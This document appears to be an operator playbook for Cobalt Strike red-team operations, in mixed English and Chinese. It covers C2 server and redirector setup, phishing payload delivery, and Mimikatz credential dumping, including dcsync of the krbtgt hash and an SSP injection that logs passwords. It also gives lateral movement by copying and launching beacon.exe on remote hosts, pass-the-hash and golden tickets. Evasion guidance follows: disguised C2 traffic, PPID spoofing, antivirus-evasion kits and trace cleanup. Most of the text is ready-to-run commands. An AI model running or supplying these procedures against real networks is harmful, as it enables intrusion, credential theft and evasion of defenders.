cobalt-strike

Cobalt Strike Operational Methodology

Cobalt Strike (CS) is a commercial red team C2 framework that uses a C/S architecture to enable multi-person collaborative penetration. Core advantages:Team collaboration(multiple clients/multiple TeamServers) + Beacon covert communication（HTTP/HTTPS/DNS/SMB）+ Complete post-exploitation chain(privilege escalation → credentials → lateral movement → persistence) + Aggressor script extension。

In-depth reference

• Beacon command details and post-exploitation techniques → references/beacon-operations.md
• DNS/SMB/SSH Beacon and Arsenal Kit selection → references/beacon-types-and-kits.md
• Aggressor script development guide → references/aggressor-scripting.md

---

Phase 1: TeamServer Deployment and Listener Configuration

TeamServer startup

# 基础启动（Linux only）
./teamserver <公网IP> <密码>

Specify a Malleable C2 profile (recommended)

./teamserver <public IP> <password> <profile file path>

**部署决策：**
- 生产环境必须指定 Malleable C2 Profile，默认流量特征已被各大安全产品标记
- 建议使用 c2lint 工具验证 Profile 有效性：`./c2lint <profile>`

### 客户端连接

```bash
# Linux
./start.sh
# Windows
start.bat

Connection requires: TeamServer IP + port (default 50050) + password. The first connection requires confirming the server fingerprint hash.

Distributed architecture decision

推荐三层服务器模型：
├── 临时服务器 (Staging) → 初始投递、获取立足点（高暴露风险）
├── 持久服务器 (Long Haul) → 低频通信保持长期访问
└── 后渗透服务器 (Post-Ex) → 交互式操作、横向移动

Judgment criteria: A single target can use a single TeamServer; multiple targets/long-term operations must be layered to ensure that a single point of failure does not affect the whole.

Listener type selection decision tree

需要创建 Listener？
├── 出网环境
│   ├── HTTP/HTTPS 受限但 DNS 可用 → DNS Beacon（低频保活/备用通道）
│   ├── 常规场景 → HTTPS Beacon（推荐，加密传输）
│   └── 简单测试 → HTTP Beacon
├── 内网横向 / 不出网
│   ├── Windows 环境 → SMB Beacon（命名管道，依赖 SMB 可达和权限）
│   ├── Linux/macOS 或已有 SSH 凭据 → SSH Beacon
│   └── 需指定端口 → TCP Beacon（正向绑定）
└── 联动 MSF → Foreign Listener（HTTP/HTTPS）

Listener naming convention: OS/Payload/Stager, for example windows/beacon_https/reverse_https

Redirector configuration

Purpose: protect the TeamServer's real IP + improve reliability (multiple redirectors in parallel)

# 在重定向器主机上使用 socat 转发
socat TCP4-LISTEN:80,fork TCP4:<TeamServer_IP>:80
socat TCP4-LISTEN:443,fork TCP4:<TeamServer_IP>:443

Add the redirector IP to the Listener's HTTP Hosts; target traffic interacts only with the redirector.

---

Phase 2: Payload Generation and Delivery

Staged vs Stageless selection

Payload 类型选择：
├── Staged（分阶段）→ 体积小（~17KB），适合有大小限制的场景
│   └── Stager 先执行 → 回连下载 Stage → 内存加载执行
├── Stageless（无阶段）→ 体积大（~300KB），全功能自包含
│   └── 更稳定，适合确定性投递（如钓鱼邮件附件）
└── 安全特性：Stage 使用团队服务器公钥加密元数据，Stager 无此保护

Payload format generation

Path	Output	Purpose
Packages → HTML Application	.hta file	Phishing landing execution
Packages → MS Office Macro	VBA macro code	Embed in Office documents
Packages → Payload Generator	Multi-language Payload	Custom AV evasion loader
Packages → Windows Executable	.exe / .dll	Direct execution or DLL injection
Packages → Windows Executable (S)	Stageless .exe / .dll	Self-contained complete Payload

Delivery method decision

如何投递到目标？
├── 社工钓鱼
│   ├── 邮件附件 → Office 宏文档 / HTA 文件
│   ├── 邮件链接 → Scripted Web Delivery 生成一行命令
│   └── 克隆网站 → Clone Site + 嵌入攻击链接
├── Web 漏洞利用
│   ├── MSF 联动 → 设置 Foreign Listener，MSF 中配置对应 payload
│   │   └── set DisablePayloadHandler True; set PrependMigrate True
│   └── 脚本化交付 → Attacks → Web Drive-by → Scripted Web Delivery
└── 横向投递
    └── upload + 远程服务/计划任务执行（见 Phase 4）

---

Phase 3: Beacon Management

Session interaction basics

# 进入 Beacon 控制台
右击会话 → interact

# 通信模式控制
sleep 60 50     # 异步：60 秒回连，50% 抖动（实际 30-60 秒随机）
sleep 0         # 交互模式：命令即时执行（OPSEC 风险高）

OPSEC principle: Keep sleep >=30s for daily operations; only temporarily sleep 0when real-time interaction is needed, and restore immediately after the operation is complete.

Session passing

# 派生新会话到其他 Listener
spawn <listener_name>

# 注入到指定进程
inject <pid> <x86|x64> <listener_name>

# 传递到 MSF
# 1. MSF 开启 handler (windows/meterpreter/reverse_https)
# 2. CS 创建 Foreign Listener 指向 MSF
# 3. spawn <foreign_listener>

Pivoting (internal network penetration)

内网不出网主机如何上线？
├── SOCKS 代理（正向）
│   ├── beacon: socks <port>
│   ├── MSF: setg Proxies socks4:<CS_IP>:<port>
│   └── 工具: proxychains 配置后使用
├── 反向端口转发
│   ├── 右击会话 → Pivoting → Listener（在已上线主机上开 Listener）
│   └── 生成指向该 Listener 的 Payload，在不出网主机执行
└── SSH 隧道
    ├── ssh -D 1080 user@<pivot_host>
    └── socat 转发特定端口流量

---

Phase 4: Post-Exploitation Operation Decision Tree

Information gathering

# 当前环境侦察
shell whoami /groups          # 当前权限等级
shell net view /domain        # 当前域
net view                      # 域内主机列表（Beacon net 模块，输出更丰富）
net dclist                    # 域控列表

Privilege escalation decision tree

当前权限不足？
├── 当前用户是本地管理员组（UAC 中级）
│   ├── elevate → uac-token-duplication（Win7/Win10 2018.11 前）
│   ├── runasadmin → 其他 UAC bypass exploit
│   └── 成功后用户名后出现 * 号标识
├── 当前用户是普通用户
│   ├── PowerUp 检查弱点
│   │   └── powershell-import PowerUp.ps1; powershell Invoke-AllChecks
│   ├── elevate → 选择可用的本地提权 exploit
│   └── 加载 ElevateKit 扩展更多 exploit
├── 本地管理员（高权限）→ 系统权限
│   └── getsystem（Named Pipe 提权到 SYSTEM）
└── 已有其他用户凭据
    ├── spawnas <domain\user> <password> <listener>
    └── runas <domain\user> <password> <command>

Credential acquisition decision tree

需要获取凭据？
├── 已是 SYSTEM / 本地管理员
│   ├── hashdump                    → 导出本地 SAM 哈希
│   ├── logonpasswords              → Mimikatz 抓取明文密码
│   ├── mimikatz !lsadump::sam      → 本地账户哈希
│   ├── mimikatz !lsadump::cache    → 缓存凭证（默认缓存最近 10 个）
│   └── mimikatz !misc::memssp      → 注入 SSP 记录后续登录明文
│       └── 结果保存在 C:\windows\system32\mimilsa.log
├── 域控制器上
│   ├── hashdump                    → 导出所有域用户哈希
│   ├── dcsync                      → 远程复制 AD 数据库
│   └── mimikatz lsadump::dcsync /user:krbtgt → 获取 KRBTGT 哈希
└── 查看已收集凭据
    └── View → Credentials

Mimikatz execution modes:

• mimikatz <command> — execute with current privileges
• mimikatz !<command> — force elevation to SYSTEM for execution
• mimikatz @<command> — execute using the current Beacon token

Lateral movement decision tree

如何移动到目标主机？
├── 前提：已获取目标主机的信任凭据
│   ├── 令牌窃取: ps → steal_token <pid>
│   ├── 凭据创建: make_token <domain\user> <password>
│   ├── 哈希传递: pth <domain\user> <ntlm_hash>
│   └── 黄金票据: Access → Golden Ticket（需 KRBTGT 哈希 + 域 SID）
│
├── 自动化横向（推荐，无文件落地）
│   ├── psexec <target> <listener>       → 服务执行（落地 EXE）
│   ├── psexec_psh <target> <listener>   → 服务执行 PowerShell
│   ├── winrm <target> <listener>        → WinRM 执行 PowerShell
│   └── wmi <target> <listener>          → WMI 执行 PowerShell
│   └── 图形化: View → Targets → 右击 → Jump
│
├── 手动横向
│   ├── 方法一：Windows 服务
│   │   ├── upload beacon.exe
│   │   ├── shell copy beacon.exe \\target\C$\Windows\Temp
│   │   ├── shell sc \\target create svc binpath= C:\Windows\Temp\beacon.exe
│   │   ├── shell sc \\target start svc
│   │   └── link <target>（SMB Beacon）
│   └── 方法二：计划任务
│       ├── shell net time \\target（确认时间）
│       ├── shell at \\target HH:mm C:\path\beacon.exe
│       └── link <target>（SMB Beacon）
│
└── 清理痕迹
    ├── shell sc \\target delete svc
    ├── shell del \\target\C$\Windows\Temp\beacon.exe
    └── shell del beacon.exe

Key commands for in-domain enumeration

# 域管理员发现
shell net group "domain admins" /domain
shell net group "enterprise admins" /domain
shell net localgroup "administrators" /domain

# PowerView 高级枚举（避免 net 命令被检测）
powershell-import PowerView.ps1
powershell Find-LocalAdminAccess          # 发现当前用户的本地管理员访问权限
powershell Get-NetDomain                  # 域信息
powershell Invoke-ShareFinder             # 共享发现
powershell Get-NetLocalGroup -Hostname <target>  # 目标本地管理员

---

Phase 5: OPSEC and Stealth

Malleable C2 Profile

Purpose: Customize Beacon communication traffic characteristics and disguise them as normal business traffic.

# Profile 基本结构
set sleeptime "60000";     # 回连间隔（毫秒）
set jitter "50";           # 抖动百分比
set useragent "Mozilla/5.0 ...";

http-get {
    set uri "/api/v1/updates";
    client {
        header "Accept" "application/json";
        metadata {
            netbios;
            append "-.jpg";
            uri-append;
        }
    }
    server { ... }
}

http-post {
    set uri "/api/v1/submit";
    client { ... }
    server { ... }
}

Key configuration items:

• sleeptime + jitter — control communication frequency and randomness
• spawnto — Specify the process used for spawn/inject (avoid rundll32.exe)
• set host_stage "false" — Disable staging (prevent the Stager from being discovered by scanning)

Process Injection OPSEC

# 使用 spawnto 避免默认 rundll32.exe
spawnto x64 %windir%\sysnative\svchost.exe -k netsvcs
spawnto x86 %windir%\syswow64\svchost.exe -k netsvcs

# PPID 欺骗 — 使新进程看起来是由合法父进程创建
ppid <合法进程PID>

Arsenal Kit and Evasion Strategies

选择适配方案：
├── Artifact Kit → 自定义 EXE/DLL 生成模板
│   └── 生成物落地即被静态查杀时使用
├── Resource Kit → 修改 HTA/PowerShell/VBA/VBS 等脚本模板
│   └── 默认投递模板特征明显时使用
├── Sleep Mask / Mutator / Thread Stack Spoofer
│   └── 内存扫描或线程栈检测压力高时使用
├── 自定义加载器 → Payload Generator 输出 raw shellcode
│   └── 用 C/Go/Rust 编写自定义加载器
└── 注意：Kit 只能降低特定检测面，不能替代流量、进程链和权限 OPSEC

For detailed selection boundaries, see references/beacon-types-and-kits.md。

---

Quick Reference: Most Commonly Used Beacon Commands

Command	Description
sleep <秒> [抖动%]	Set the callback interval and jitter
shell <命令>	Execute commands via cmd.exe
powershell <命令>	Execute via powershell.exe
powerpick <命令>	Execute PS commands without using powershell.exe
execute-assembly <path>	Load a .NET assembly into memory
upload / download	File upload / download
hashdump	Dump SAM hashes
logonpasswords	Mimikatz credential harvesting
steal_token <pid>	Steal a process token
make_token <domain\user> <pass>	Create a token
pth <domain\user> <hash>	Pass-the-Hash
rev2self	Revert to the original token
spawn <listener>	Spawn a new session
inject <pid> <arch> <listener>	Inject into a process
socks <port>	Start a SOCKS proxy
link / unlink <target>	Connect / disconnect an SMB/TCP Beacon
ps	List processes
jobs / jobkill <id>	Manage background jobs
screenshot / keylogger	Screenshot / keylogging
getsystem	Escalate privileges to SYSTEM
elevate <exploit> <listener>	Escalate privileges using an exploit
portscan <targets> <ports> <method>	Port scan (arp/icmp/none)
clear	Clear the command queue